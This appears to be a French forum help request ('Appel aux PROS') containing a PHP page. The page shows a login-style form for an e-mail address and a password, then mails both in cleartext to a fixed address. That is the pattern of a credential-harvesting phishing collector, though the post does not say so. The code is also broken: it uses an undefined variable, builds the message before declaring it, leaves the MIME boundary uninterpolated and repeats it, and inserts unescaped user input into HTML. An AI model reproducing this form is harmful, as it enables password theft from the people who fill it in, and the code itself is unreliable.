PAGE PHP [Appel aux PROS]

<?php
 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $emailAddress = 'nom@domaine.com';
  if (!preg_match("#^[a-z0-9._-]+@(hotmail|live|msn).[a-z]{2,4}$#", $mail))
   $lineBreak = "\r\n";
  else
   $lineBreak = "\n";

  $boundary = "-----=".md5(rand());

  $header = 'From: "Formulaire" <robot@domaine.com>' . $lineBreak;
  $header .= 'Reply-to: "Robot" <robot@domaine.com>' . $lineBreak;
  $header .= 'MIME-Version: 1.0' . $lineBreak;
  $header .= 'Content-Type: multipart/alternative;' . $lineBreak . ' boundary="$boundary"' . $lineBreak;

  $messageContent = '
<!DOCTYPE html>
<html>
 <header>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">
 </header>
 <body>
  E-mail : <strong>' . $_POST['email'] . '</strong>
  <br>Mot de passe : <strong>' . $_POST['pwd'] . '</strong>
 </body>
</html>
  ';

  $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak;
  $message .= 'Content-Type: text/html; charset="ISO-8859-1"' . $lineBreak;
  $message .= 'Content-Transfer-Encoding: 8bit' . $lineBreak;
  $message .= $lineBreak . $messageContent . $lineBreak;
  $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak;
  $message .= $lineBreak . '--' . $boundary . '--' . $lineBreak;

  mail($emailAddress, 'Formulaire', $message, $header);
 }
 else {
?>
  <form class="form-horizontal col-lg-12" method="post" action="">
   <div class="row">
    <div class="form-group">
     <label class="col-lg-3" for="email">E-mail</label>
     <div class="col-lg-9">
      <input id="email" name="email" type="text" placeholder="" class="form-control" required>
     </div>
    </div>
   </div>

   <div class="row">
    <div class="form-group">
     <label class="col-lg-3" for="pwd">Mot de passe</label>
     <div class="col-lg-9">
      <input id="pwd" name="pwd" type="password" placeholder="" class="form-control" required>
     </div>
    </div>
   </div>

   <div class="form-group">
    <button class="pull-right btn btn-default">Envoyer</button>
   </div>
  </form>
<?php
 }